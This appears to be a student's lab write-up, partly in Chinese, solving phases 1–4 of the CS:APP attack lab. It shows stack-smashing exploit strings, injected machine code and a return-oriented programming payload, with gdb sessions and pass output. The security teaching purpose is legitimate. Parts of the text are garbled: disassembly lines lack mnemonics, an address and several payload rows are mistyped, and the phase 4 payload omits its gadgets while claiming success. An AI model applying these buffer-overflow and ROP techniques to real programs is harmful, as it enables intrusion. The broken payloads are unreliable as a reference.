# Lab3.attacklab

## phase1:

```
1 void test()
2 {
3    int val;
4    val = getbuf();
5    printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
```

When getbuf executes its return statement (line 5 of getbuf), the program ordinarily resumes execution within function test (at line 5 of this function). We want to change this behavior. Within the file ctarget, there is code for a function touch1 having the following C representation:

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directly related to this stage, but this will not cause a problem, since touch1 causes the program to exit directly.

需要在 test 函数的第四行调用 getbuf 函数后无法正常返回并且跳转到 touch1 函数.我们需要将函数 getbuf 运行栈中的返回地址修改为 touch1 函数的入口

首先观察 getbuf 的汇编代码,可以得知其开辟了 40 字节的栈空间. 我们需要将这 40 字节填满,再之后写入的 8 个字节就会是 getbuf 的返回地址

```
00000000004017a8 <getbuf>:
 4017a8: 48 83 ec 28
                                      $0x28,%rsp
 4017ac: 48 89 e7
                               mov
                                      %rsp,%rdi
 4017af: e8 8c 02 00 00
                               callq 401a40 <Gets>
 4017b4: b8 01 00 00 00
                                      $0x1,%eax
 4017b9: 48 83 c4 28
                                      $0x28,%rsp
                               add
 4017bd: c3
                               retq
 4017be: 90
 4017bf: 90
00000000004017c0 <touch1>:
```

将 touch1 作为返回地址, 小端存储所以应当填入 c0171400000000000, 最终填入的比特流应当是:

00 00 00 00 00 00 00 00

```
c0 17 40 00 00 00 00 00
获取 raw 字符串:
sh-4.4# ./hex2raw < phase1_hex.txt > phase1_raw.txt
将字符串写入 ctarget 程序验证结果
sh-4.4# ./ctarget -q < phase1_raw.txt
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
```

### phase2:

```
1 void touch2 (unsigned val)
2 {
                          /* Part of validation protocol */
3
      vlevel = 2;
      if (val == cookie) {
           printf("Touch2!: You called touch2(0x%.8x)\n", val);
5
           validate(2);
6
       } else {
7
           printf("Misfire: You called touch2(0x%.8x)\n", val);
9
      }
10
      exit(0);
11
12 }
```

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

```
sh-4.4# gdb ctarget
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /csapp/attacklab/target1/ctarget -q
Cookie: 0x59b997fa
```

```
Breakpoint 1, getbuf () at buf.c:12

12 buf.c: No such file or directory.

Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-225.el8_8.6.x86_64
(gdb) p $rsp

$1 = (void *) 0x5561dca0
```

可以得知函数 getbuf 的返回地址存在内存 **0x5561dca0** 处, getbuf 在栈中开辟了 40 个字节, 从 **0x5561dca0** - **0x28** 处写入我们的代码, 并且将返回地址(内存 **0x5561dca0** 处) 写入 **0x5561dca0** - **0x28**. 就可以从 getbuf 返回到我们注入的代码.

mov 0x59b997fa %edi

此时我们的 ₩rsp 应当指向了内存 0x5561dca0 + 0x8 处, 我们只需要在此处写入 touch2 函数的地址即可.如果直接在此处写入返回地址会导致如下情况:

sh-4.4# cat phase2\_hex.txt && ./hex2raw < phase2\_hex.txt > phase2\_raw.txt

48 8b 3c 25 fa 97 b9 59 /\* mov 0x59b997fa, %rdi \*/

c3 /\* ret \*/

00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00

78 dc 61 55 00 00 00 /\* first return to my injection code \*/

ec 17 40 00 00 00 00 /\* second return to touch2 \*/

sh-4.4# ./ctarget -q < phase2\_raw.txt

Cookie: 0x59b997fa

Type string:Ouch!: You caused a segmentation fault!

Better luck next time

FAIL: Would have posted the following:

user id bovik

<del>course 15213 f15</del>

<del>lab attacklab</del>

其限制了我们在 rsp + 8 处写入返回地址, 因此我们需要修改注入的汇编代码:

sh-4.4# vim phase2\_asm.s sh-4.4# cat phase2\_asm.s mov \$0x59b997fa,%rdi push \$0x004017ec ret

通过以下处理获得注入代码的机器码:

sh-4.4# gcc -c phase2\_asm.s sh-4.4# objdump -d phase2\_asm.o

phase2\_asm.o: file format elf64-x86-64

Disassembly of section .text:

000000000000000 <.text>:

0: 48 c7 c7 fa 97 b9 59 mov \$0x59b997fa,%rdi

7: 68 ec 17 40 00 pushq \$0x4017ec

c: c3 retq

将我们向栈中写入的机器码存放到 phase2\_hex.txt 中, 并通过 ./hex2raw 转变成输入的字符串传给 getbuf 函数:

sh-4.4# vim phase2\_hex.txt sh-4.4# cat phase2\_hex.txt 48 c7 c7 fa 97 b9 59 /\* mov \$0x59b997fa, %rdi \*/

```
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* ret to 0x4017ec (touch2) */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00
78 dc 61 55 00 00 00 00 /* first return to my injection code */
sh-4.4# ./hex2raw < phase2_hex.txt > phase2_raw.txt
写入字符串验证结果:
sh-4.4# ./ctarget -q < phase2_raw.txt
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
       user id bovik
       course 15213-f15
       lab
              attacklab
       result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00
```

## phase\_3:

```
1 /* Compare string to hex represention of unsigned value */
2 int hexmatch (unsigned val, char *sval)
3 {
      char cbuf[110];
      /* Make position of check string unpredictable */
     char *s = cbuf + random() % 100;
     sprintf(s, "%.8x", val);
7
     return strncmp(sval, s, 9) == 0;
9 }
10
11 void touch3(char *sval)
12 {
                    /* Part of validation protocol */
     vlevel = 3;
13
      if (hexmatch(cookie, sval)) {
          printf("Touch3!: You called touch3(\"%s\")\n", sval);
15
          validate(3);
16
17
      } else {
          printf("Misfire: You called touch3(\"%s\")\n", sval);
18
          fail(3);
19
20
     exit(0);
21
22 }
```

Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.

本题我们依然需要将返回地址修改为指向我们注入代码的指针,然后通过我们写入的代码转入 touch3 函数.与上题不一样的是此时我们向 touch3 函数传入的参数是一个指向 cookie 十六进制字符串形式的指针.为了防止 字符串被破坏,我们将字符串写入到一个更高的地址 (%rsp 不会触及的地方).

以下为栈空间布局.

20	$\sim$	rocc
au	IU	ress

#### content

0x5561dca8	string(cookie)	
0x5561dca0	getbuf 函数的返回地址(指向注入的代码)	
0x5561dc98	填充	
	填充	
	Ret	
	Pushq touch 函数地址	
0x5561dc78	Mov address(string(cookie)), %rdi	

#### 编写注入的代码:

sh-4.4# vim phase3\_asm.s sh-4.4# cat phase3\_asm.s mov \$0x5561dca8,%rdi pushq \$0x4018fa ret

#### 得到其二进制形式:

sh-4.4# gcc -c phase3\_asm.s sh-4.4# objdump -d phase3\_asm.o

phase3\_asm.o: file format elf64-x86-64

### Disassembly of section .text:

#### 0000000000000000 <.text>:

0: 48 c7 c7 a8 dc 61 55 mov \$0x5561dca8,%rdi

7: 68 fa 18 40 00 pushq \$0x4018fa

c: c3 retq

编写 exploit string 的 hex 形式

sh-4.4# vim phase3\_hex.txt

sh-4.4# cat phase3\_hex.txt

48 c7 c7 a8 dc 61 55 /\* mov \$0x5561dca8, %rdi \*/

68 fa 18 40 00 /\* pushq \$0x4018fa \*/

c3 /\* ret \*/

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00

78 dc 61 55 00 00 00 00 /\* return to injection code \*/

35 39 62 39 39 37 66 61 /\* cookie (ascii) \*/

生成 raw exploit string 并验证结果:

sh-4.4# ./hex2raw < phase3\_hex.txt > phase3\_raw.txt

sh-4.4# ./ctarget -q < phase3\_raw.txt

Cookie: 0x59b997fa

Type string:Touch3!: You called touch3("59b997fa")

Valid solution for level 3 with target ctarget

PASS: Would have posted the following:

user id bovik

course 15213-f15 lab attacklab

result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00

# phase\_4

本题要求通过 Return-Oriented Programming 的方法来完成 phase\_2 的任务. 其中 phase\_2 要求我们将 cookie 传递给 %rdi 然后返回到 touch2 函数. 经过寻找, 没有找到 mov \$58b997fa,%rdi 的指令对应的比特流, 因此我们需要寻找新的指令来完成等价的事务:

sh-4.4# vim phase4\_asm.s sh-4.4# cat phase4\_asm.s pop %rax mov %rax,%rdi ret

以上是等价的汇编代码,同时我们需要将 cookie 写入到栈中.

经过编译, 反汇编获得其二进制表示:

gcc -c phase4\_asm.s

sh-4.4# objdump -d phase4\_asm.o > phase4\_asm\_hex.d

sh-4.4# cat phase4\_asm\_hex.d

phase4\_asm.o: file format elf64-x86-64

Disassembly of section .text:

000000000000000 <.text>:

0: 58 pop %rax 1: 48 89 c7 mov %rax,%rdi

4: c3 retq

经过寻找, 我们可以找到已知的代码段作为 gadget, 将他们的地址写入栈中然后通过 ret 指令进行控制. 具体的 exploit string 的 hex 表示如下:

sh-4.4# vim phase4\_hex.txt

sh-4.4# cat phase4\_hex.txt

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

ec 17 40 00 00 00 00 00 /\* touch2 \*/

#### 最终验证结果:

sh-4.4# ./hex2raw < phase4\_hex.txt > phase4\_raw.txt sh-4.4# ./rtarget -q < phase4\_raw.txt

Cookie: 0x59b997fa

Type string:Touch2!: You called touch2(0x59b997fa)

Valid solution for level 2 with target rtarget PASS: Would have posted the following:

user id bovik

course 15213-f15 lab attacklab

## phase\_5:

Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3, you caused a program to execute machine code of your own design. If CTARGET had been a network server, you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own code, you were able inject a type of program that operates by stitching together sequences of existing code. You have also gotten 95/100 points for the lab. That's a good score. If you have other pressing obligations consider stopping right now.

Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.

I have other obligations!